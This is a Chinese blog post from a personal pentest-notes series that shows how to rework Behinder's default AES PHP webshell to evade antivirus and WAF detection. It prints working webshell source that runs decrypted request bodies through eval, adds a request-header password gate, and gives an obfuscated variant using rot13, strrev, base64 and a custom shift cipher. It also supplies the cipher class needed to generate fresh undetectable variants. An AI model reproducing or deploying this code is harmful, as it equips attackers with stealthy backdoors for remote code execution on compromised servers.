改造冰蝎马,实现免杀之default_aes php

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透

前言

之前发的免杀文章有人说失效了。确实失效了。shellcode的免杀失效了,webshell的免杀被杀了。按理说我应该把之前的文章删掉。但是我不仅没有删,还开了一个专栏叫免杀。因为免杀这种东西,就是提供一个思路。你顺着这个思路,自己对你的shellcode或者webshell进行改造。然后不要发到网上去。发到网上去就会被waf的爬虫找到,然后你的免杀就失效了。我在写之前的文章就料到有这样一天。免杀还是靠自己的编程基础来实现,网上的就是提供一个思路,这篇文章中提供的webshell也可能很快就会失效,和waf作战本就是艰苦卓绝。只有举一反三,求本逐妙,才能在与waf的战斗中得胜。

最近喜欢用冰蝎,因为它比较强。但是免杀效果不太行。本文以php webshell的default_aes编码器为例,实现密码验证和免杀实现。

效果

先看下原本的webshell

<?php
@error_reporting(0);
		function Decrypt($data)
	{
		$key="e45e329feb5d925b"; //¸ÃÃÜԿΪÁ¬½ÓÃÜÂë32λmd5ÖµµÄÇ°16λ£¬Ä¬ÈÏÁ¬½ÓÃÜÂërebeyond
		return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
	}
	$post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

WEBDIR
在这里插入图片描述
D盾
在这里插入图片描述

再看下免杀之后的马子
D盾
在这里插入图片描述
WEBDIR
在这里插入图片描述
可见免杀效果是非常的好

目标

两个目标

1. 实现密码验证功能
2. 实现免杀

密码验证功能

直接生成的马子,是没有密码验证功能的,用冰蝎连接的时候输链接就可以了
在这里插入图片描述
也是非常的捞。

但是我们可以指定请求头,这样我们就可以从请求头下手。

首先查看源代码
在这里插入图片描述
先定义了一个函数,接着获取请求内容,解密,接着直接eval执行。

可以蒙到核心代码是这两行
在这里插入图片描述
只要再这两行代码前加上密码验证的语句就ok了。

例如,我要验证请求头中Pass的内容是否为password

先获取请求头中是否存在Pass段,若存在则进入验证。
改造之后是这样

$b=0;
if (array_key_exists('Pass',apache_request_headers())) {
    $b=apache_request_headers()['Pass']==='password';
}
if ($b) {
    $post = Decrypt(file_get_contents("php://input"));
    eval($post);
}

当然也可以自己修改,注意大小写,Pass第一位必须大写,否则识别不了。

这样修改之后,在连接时要在请求头处设置内容。
在这里插入图片描述
当然也可以自行修改你的密码。

免杀

先把免杀后的webshell贴出来。

<?php 
error_reporting(0);
function d($a)
{
    return openssl_decrypt(base64_decode($a), base64_decode(strrev(str_rot13('=V0DS1PBlRGYGIHD'))), base64_decode(str_rot13('MGD1MGZlBJ') . strrev('==gY1ITOkVjYlZ')), OPENSSL_PKCS1_PADDING);
}

function p($k)
{
    $s = 0;
    foreach (str_split($k) as $a) {
        foreach (str_split(ord($a) . "") as $b) {
            $s += $b;
        }
    }
    while (10 > $s && $s < 100) {
        if (10 < $s) $s = $s * 2; else $s = $s / 3;
    }
    return $s;
}

function a($b)
{
    $r = "";
    foreach (str_split(base64_decode($b)) as $s) {
        $r .= chr(ord($s) - p("dvcqazjiomk"));
    }
    return $r;
}

$p = d('IHwa8t2BcjZISwq2jfqEHw==');
$f = 0;
if (array_key_exists('Pass', apache_request_headers())) $f = apache_request_headers()['Pass'] === $p;
if ($f) $c = a('vMu+us2+uL/Ox7zNwsjH')("", a('vs+6xYG9gb/Cxb64wL7NuLzIx82+x83Mgb2Be5GywMKqx4zTs6C7s8TFqNGIrsSIitCWlnuCgoKClA=='));
$c(); 
?>

使用时请指定请求头为:Pass:password

写到这里突然不想写了,大概讲一下。

d()函数是aes解密函数,里面的字符串我做了一点小小的处理。

p()函数是辅助函数,传入一个字符串会返回一个10到100之间的整数。

a()函数是解密函数,把加密后的代码进行解密。里面的kiocpmg是密钥。可以自己改。

简单来说就是把里面的字符串加密了,然后混淆视听,让waf认不出来。

把加密算法也贴一下吧,密钥改一下就可以让代码改头换面了。反正核心还是一样。

class Cipher
{
    public static $key = 'abcdefg';

    function parse($key)
    {
        $s = 0;
        foreach (str_split($key) as $a) {
            foreach (str_split(ord($a) . "") as $b) {
                $s += $b;
            }
        }
        while (10 > $s && $s < 100) {
            if (10 < $s) $s = $s * 2;
            else $s = $s / 3;
        }
        return $s;
    }
    function en($data)
    {
        $res = "";
        foreach (str_split($data) as $s) {
            $res .= chr(ord($s) + self::parse(self::$key));
        }
        return base64_encode($res);
    }
    function de($data)
    {
        $res = "";
        $data = base64_decode($data);
        foreach (str_split($data) as $s) {
            $res .= chr(ord($s) - self::parse(self::$key));
        }
        return $res;
    }
}

后话

还是那句话,网上的免杀就是看个热闹,真要免杀还是要自己动手。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值